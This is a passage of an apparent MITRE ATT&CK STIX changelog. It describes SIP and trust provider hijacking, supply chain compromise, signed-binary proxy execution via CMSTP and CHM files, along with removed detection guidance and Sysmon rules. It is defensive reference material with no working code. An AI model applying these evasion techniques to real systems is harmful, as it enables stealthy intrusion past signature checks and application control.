an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/003", + "external_id": "T1553.003" + }, + { + "source_name": "Entrust Enable CAPI2 Aug 2017", + "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.", + "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165" + }, + { + "source_name": "GitHub SIP POC Sept 2017", + "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.", + "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "Microsoft Catalog Files and Signatures April 2017", + "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files" + }, + { + "source_name": "Microsoft Audit Registry July 2012", + "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + }, + { + "source_name": "Microsoft Registry Auditing Aug 2016", + "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)" + }, + { + "source_name": "Microsoft Authenticode", + "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/ms537359.aspx" + }, + { + "source_name": "Microsoft WinVerifyTrust", + "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx" + }, + { + "source_name": "EduardosBlog SIPs July 2008", + "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.", + "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.200000+00:00\", \"old_value\": \"2025-04-15 19:58:31.965000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n\\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n\\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,14 +0,0 @@\\n-Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\\n-\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\OID\\n-* HKLM\\\\SOFTWARE\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-* HKLM\\\\SOFTWARE\\\\WOW6432Node\\\\Microsoft\\\\Cryptography\\\\Providers\\\\Trust\\n-\\n-**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\\n-\\n-Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \\u201cHide Microsoft Entries\\u201d and \\u201cHide Windows Entries\\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0442: Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:28:40.064000+00:00", + "modified": "2025-10-24 17:48:39.693000+00:00", + "name": "Compromise Hardware Supply Chain", + "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195/003", + "external_id": "T1195.003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.693000+00:00\", \"old_value\": \"2025-04-15 22:07:50.636000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform physical inspection of hardware to look for potential tampering. Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0368: Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-11 14:17:21.153000+00:00", + "modified": "2025-10-24 17:49:18.341000+00:00", + "name": "Compromise Software Supply Chain", + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195/002", + "external_id": "T1195.002" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.341000+00:00\", \"old_value\": \"2025-04-15 22:08:31.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1016: Vulnerability Scanning", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0309: Compromised software/update chain (installer/write \u2192 first-run/child \u2192 egress/signature anomaly)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:43.406000+00:00", + "name": "System Binary Proxy Execution", + "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218", + "external_id": "T1218" + }, + { + "source_name": "GTFO split", + "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.", + "url": "https://gtfobins.github.io/gtfobins/split/" + }, + { + "source_name": "LOLBAS Project", + "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.", + "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria" + }, + { + "source_name": "split man page", + "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.", + "url": "https://man7.org/linux/man-pages/man1/split.1.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nishan Maharjan, @loki248", + "Hans Christoffer Gaardl\u00f8s", + "Praetorian", + "Wes Hurd" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"File: File Creation\", \"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.406000+00:00\", \"old_value\": \"2025-04-15 19:58:27.332000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\\n\\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\\n-\\n-Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1026: Privileged Account Management", + "M1037: Filter Network Traffic", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1050: Exploit Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0081: Detection of Proxy Execution via Trusted Signed Binaries Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 18:27:30.656000+00:00", + "modified": "2025-10-24 17:48:45.149000+00:00", + "name": "CMSTP", + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/003", + "external_id": "T1218.003" + }, + { + "source_name": "Twitter CMSTP Usage Jan 2018", + "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/958789644165894146" + }, + { + "source_name": "Microsoft Connection Manager Oct 2009", + "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)" + }, + { + "source_name": "MSitPros CMSTP Aug 2017", + "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", + "url": "https://msitpros.com/?p=3960" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + }, + { + "source_name": "Endurant CMSTP July 2018", + "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" + }, + { + "source_name": "Twitter CMSTP Jan 2018", + "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.", + "url": "https://x.com/NickTyrer/status/958450014111633408" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Nik Seetharaman, Palantir", + "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.149000+00:00\", \"old_value\": \"2025-04-15 19:58:29.296000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\\n\\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\\n\\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +0,0 @@\\n-Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\\n-\\n-Sysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\\n-\\n-* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\\n-* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0328: Detection of Malicious Profile Installation via CMSTP.exe" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-23 18:53:54.377000+00:00", + "modified": "2025-10-24 17:49:11.609000+00:00", + "name": "Compiled HTML File", + "description": "Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1218/001", + "external_id": "T1218.001" + }, + { + "source_name": "Microsoft CVE-2017-8625 Aug 2017", + "description": "Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.", + "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" + }, + { + "source_name": "Microsoft HTML Help May 2018", + "description": "Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk" + }, + { + "source_name": "Microsoft HTML Help Executable Program", + "description": "Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.", + "url": "https://msdn.microsoft.com/windows/desktop/ms524405" + }, + { + "source_name": "Microsoft HTML Help ActiveX", + "description": "Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.", + "url": "https://msdn.microsoft.com/windows/desktop/ms644670" + }, + { + "source_name": "MsitPros CHM Aug 2017", + "description": "Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM \u2013 CVE-2017-8625. Retrieved October 3, 2018.", + "url": "https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.609000+00:00\", \"old_value\": \"2025-04-15 19:58:56.001000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial 